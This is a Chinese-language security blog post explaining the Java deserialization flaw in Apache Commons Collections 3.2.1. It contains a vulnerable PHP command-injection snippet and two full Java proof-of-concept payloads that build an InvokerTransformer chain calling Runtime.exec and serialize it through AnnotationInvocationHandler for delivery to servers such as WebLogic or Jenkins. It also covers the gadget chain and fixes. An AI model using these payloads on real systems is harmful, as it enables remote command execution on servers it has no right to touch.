反序列化问题的研究之java篇
博客园很早就开通了,当时下决心要把自己的经验心得记录上去,但是却没有做到,因为一直觉得自己搞得东西可能还是比较的初级,感觉拿不出手,所以也就是只是把它记录在在印象笔记上面。三年下来,还是整理和收藏了一些笔记和心得,但也导致了一个问题,就是自己写起来就比较的随便,所以现在还是觉得要放到网上来,一来为了整理自己的思路,对自己这几年做的安全的一个总结和交代,二来也希望能帮助一些人少走些弯路。后续有时间把一些自认为还可以的心得体会整理并分享出来,而且发现整理以往的漏洞和笔记时候往往会有不一样的心得感悟。
最近研究了java、php和python三种语言反序列化导致的安全问题,觉得很比较有趣,遂整理一下思路。
其中python和php的构造和触发漏洞的方法相对比较简单,java的利用和构造稍微复杂,但也是通过研究java反序列化漏洞收获也更多,感觉java的反序列化漏洞非常的典型,从中可以理解pop链的完整构造过程。
首先,在解析pop链之前,先看这样一段php的代码,
1 <?php 2 $dir = $_GET["dir"]; 3 if (isset($dir)) 4 { 5 echo "<pre>"; 6 system("whoami".$dir); 7 echo "<pre>"; 8 } 9 ?>
比较命令的命令注入,我们可以通过分号或者|来进行命令拼接,导致命令注入,像这样:
最终执行了我们注入的ls命令,然后在现实的应用中基本上不会存在这么明显的漏洞,但原理基本都是一样,应用程序本意是接受用户的数据,却被别有用心的“用户”利用导致了命令执行,现实的应用复杂在可能需要通过多步骤构造最终形成命令执行,这个过程叫做POP链的构造,POP是面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了,用链这个词形容还是比较贴切的,就好比现实中的锁链,一换扣一环,缺一不可。那么我们就针对于java反序列化中的这种POP链的构造做一个说明。
首先,在了解这个漏洞之前你需要懂一些java的基本知识,比如java的反射调用(当需要使用JVM未事先加载的class对象的时,就需要java的动态语言特性--反射机制进行动态加载)序列化(将数据结构或对象转换成二进制串的过程)和反序列化(将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程,反序列化常用于java对象的网络传输以及对象状态需要持久化)以及apache common collections这个jar包的用途。文章可以参考这里:http://blog.csdn.net/ffm83/article/details/41865869。简单来说common collections就是java内置标准集合类collection的一个补充和扩展库,丰富了一些数据结构和功能。而且很多著名的应用都用到了这个扩展包,像WebLogic、WebSphere、JBoss、Jenkins、OpenNMS,所以就危害范围来讲还是比较严重的,危害程度也是直接命令执行,boom!
受影响的版本Apache Commons Collections <= 3.2.1,<= 4.0.0。
我这里下载了3.2.1版本,下载完成之后添加到自己的工程目录下,还要下载一个源码包,便于分析程序。
like this
Map类是存储键值对的数据结构,Apache Commons Collections中实现了类TransformedMap,用来对Map进行某种变换,只要调用decorate()函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap,decorate()函数如下:
Transformer
是一个接口,其中定义的transform()
函数用来将一个对象转换成另一个对象。如下所示:
当Map
中的任意项的Key或者Value被修改,相应的Transformer
就会被调用。除此以外,多个Transformer
还能串起来,形成ChainedTransformer
如下图所示:
apache common collections jar包提供了一些实现Transformer接口的类。
本次的漏洞出现在这里InvokerTransformer这个类中,这个类不仅实现了Transformer接口,还实现了Serializable接口。
我们看一下它的Transform方法
这个transform(Object input) 中使用Java反射机制调用了input对象的一个方法,而该方法名是实例化InvokerTransformer类时传入的iMethodName成员变量,也就是说这段反射代码中的调用的方法名和Class对象均可控(漏洞挖掘的过程,通常也就是先找到危险函数,然后回溯函数的调用过程,最终看在这个调用的过程中用户是否有可能控制输入)。于是,我们可以构造一个恶意的Transformer链,借用InvokerTransformer.transform()执行任意命令
最终构造的payload大致是这样:
1 package test; 2 3 import java.io.FileInputStream; 4 import java.io.FileOutputStream; 5 import java.io.ObjectInputStream; 6 import java.io.ObjectOutputStream; 7 import java.lang.annotation.Target; 8 import java.lang.reflect.Constructor; 9 //import java.util.Map; 10 import java.util.Map; 11 import java.util.Map.Entry; 12 import java.util.HashMap; 13 14 import org.apache.commons.collections.Transformer; 15 import org.apache.commons.collections.functors.ChainedTransformer; 16 import org.apache.commons.collections.functors.ConstantTransformer; 17 18 import org.apache.commons.collections.functors.InvokerTransformer; 19 import org.apache.commons.collections.map.TransformedMap; 20 21 public class Unserializ_map_payload { 22 public static void main(String[] args) throws Exception { 23 Transformer[] transformers = new Transformer[] { 24 new ConstantTransformer(Runtime.class), 25 new InvokerTransformer("getMethod", new Class[] { 26 String.class, Class[].class }, new Object[] { 27 "getRuntime", new Class[0] }), 28 new InvokerTransformer("invoke", new Class[] { 29 Object.class, Object[].class }, new Object[] { 30 null, new Object[0] }), 31 new InvokerTransformer("exec", new Class[] { 32 String.class }, new Object[] {"open /Applications/Calculator.app"})}; 33 34 Transformer transformedChain = new ChainedTransformer(transformers); 35 36 Map innerMap = new HashMap(); 37 innerMap.put("value", "value"); 38 Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); 39 40 Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next(); 41 onlyElement.setValue("foobar"); 42 43 } 44 }
其中恶意构造的Transformer实例其实就是通过反射调用runtime类的exec方法来进行命令执行,执行的命令是打开mac下面的计算器。
当然,如何把这个漏洞应用到用户量巨多的web容器上呢,下一步,就是找应用程序的输入点,让我们能把我们的恶意代码交给服务器去运行,对,没错就是反序列化,一些应用可以反序列化处理用户的数据,在进行反序列化时,java会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject(),那么该类在进行反序列化时,Java会优先调用重写的readObject()方法。那么如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map变量是可控的,那么我们攻击就完全可以自己控制了。
漏洞发现者于是在sun.reflect.annotation中找到了这个类:AnnotationInvocationHandler。该类的代码大致如下:
1 class AnnotationInvocationHandler implements InvocationHandler, Serializable { 2 private final Class<? extends Annotation> type; 3 private final Map<String, Object> memberValues; 4 5 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { 6 this.type = type; 7 this.memberValues = memberValues; 8 } 9 ... 10 private void readObject(java.io.ObjectInputStream s) 11 throws java.io.IOException, ClassNotFoundException { 12 s.defaultReadObject(); 13 14 15 // Check to make sure that types have not evolved incompatibly 16 17 AnnotationType annotationType = null; 18 try { 19 annotationType = AnnotationType.getInstance(type); 20 } catch(IllegalArgumentException e) { 21 // Class is no longer an annotation type; all bets are off 22 return; 23 } 24 25 Map<String, Class<?>> memberTypes = annotationType.memberTypes(); 26 27 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { 28 String name = memberValue.getKey(); 29 Class<?> memberType = memberTypes.get(name); 30 if (memberType != null) { // i.e. member still exists 31 Object value = memberValue.getValue(); 32 if (!(memberType.isInstance(value) || 33 value instanceof ExceptionProxy)) { 34 // 此处触发一系列的Transformer 35 memberValue.setValue( 36 new AnnotationTypeMismatchExceptionProxy( 37 value.getClass() + "[" + value + "]").setMember( 38 annotationType.members().get(name))); 39 } 40 } 41 } 42 }
简直完美,不仅重写了readobject方法,还对类型为map的memberVaule进行了setVaule的操作。
于是乎 我们可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检测的Java应用。Java应用在进行反序列化操作时,则会触发TransformedMap的变换函数,执行预设的命令。
最终的payload大致是这样:
1 package test; 2 3 import java.io.File; 4 import java.io.FileOutputStream; 5 import java.io.ObjectOutputStream; 6 import java.lang.annotation.Target; 7 import java.lang.reflect.Constructor; 8 import java.util.HashMap; 9 import java.util.Map; 10 import java.util.Map.Entry; 11 12 import org.apache.commons.collections.Transformer; 13 import org.apache.commons.collections.functors.ChainedTransformer; 14 import org.apache.commons.collections.functors.ConstantTransformer; 15 import org.apache.commons.collections.functors.InvokerTransformer; 16 import org.apache.commons.collections.map.TransformedMap; 17 18 public class Unserializ_payload { 19 public static void main(String[] args) throws Exception { 20 Transformer[] transformers = new Transformer[] { 21 new ConstantTransformer(Runtime.class), 22 new InvokerTransformer("getMethod", new Class[] { 23 String.class, Class[].class }, new Object[] { 24 "getRuntime", new Class[0] }), 25 new InvokerTransformer("invoke", new Class[] { 26 Object.class, Object[].class }, new Object[] { 27 null, new Object[0] }), 28 new InvokerTransformer("exec", new Class[] { 29 String.class }, new Object[] {"open /Applications/Calculator.app"})}; 30 31 Transformer transformedChain = new ChainedTransformer(transformers); 32 33 Map innerMap = new HashMap(); 34 innerMap.put("value", "value"); 35 Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); 36 37 // Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next(); 38 // onlyElement.setValue("foobar"); 39 40 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 41 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 42 ctor.setAccessible(true); 43 Object instance = ctor.newInstance(Target.class, outerMap); 44 45 File f = new File("/Users/m0rk/Desktop/payload.bin"); 46 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 47 out.writeObject(instance); 48 out.flush(); 49 out.close(); 50 51 } 52 53 }
然后当某个应用程序去反序列化我们所生成的文件时候,就会根据我们构造POP链的过程进行步骤执行,最后实现我们的命令执行。
like this
然后呢,在WebLogic, WebSphere, JBoss, Jenkins, OpenNMS中会有做一些反序列化的处理,像是session处理、jenkins的cli通信都是用到了序列化,服务器会进行反序列化,那么这个时候就可以利用了。
执行链的过程如下:
/* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() AbstractInputCheckedMapDecorator$MapEntry.setValue() TransformedMap.checkSetValue() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections <= 3.2.1 */
漏洞修复:
最新版本的apache common collections中的InvokerTransformer见这里https://github.com/apache/commons-collections/blob/trunk/src/main/java/org/apache/commons/collections4/functors/InvokerTransformer.java
可以看到已经去掉了实现serialize接口,此外还在实现的Transformer方法中将类和方法声明为final类型(个人认为去掉了serialize的接口实现就可以堵掉这个漏洞了)。
反序列化漏洞的问题还是程序对不可信的数据进行了反序列化的操作,所以关于反序列化漏洞的修复可以通过设置允许进行反序列化类型的白名单来解决。
总结:这个POP执行链的构造还是比较的精巧,一环套一环,缺一不可。这里不得不佩服那些漏洞发现者,自己分析完这个漏洞也是收益良多。
参考:
1.https://security.tencent.com/index.php/blog/msg/97
2.https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
3.http://rickgray.me/2015/11/25/untrusted-deserialization-exploit-with-java.html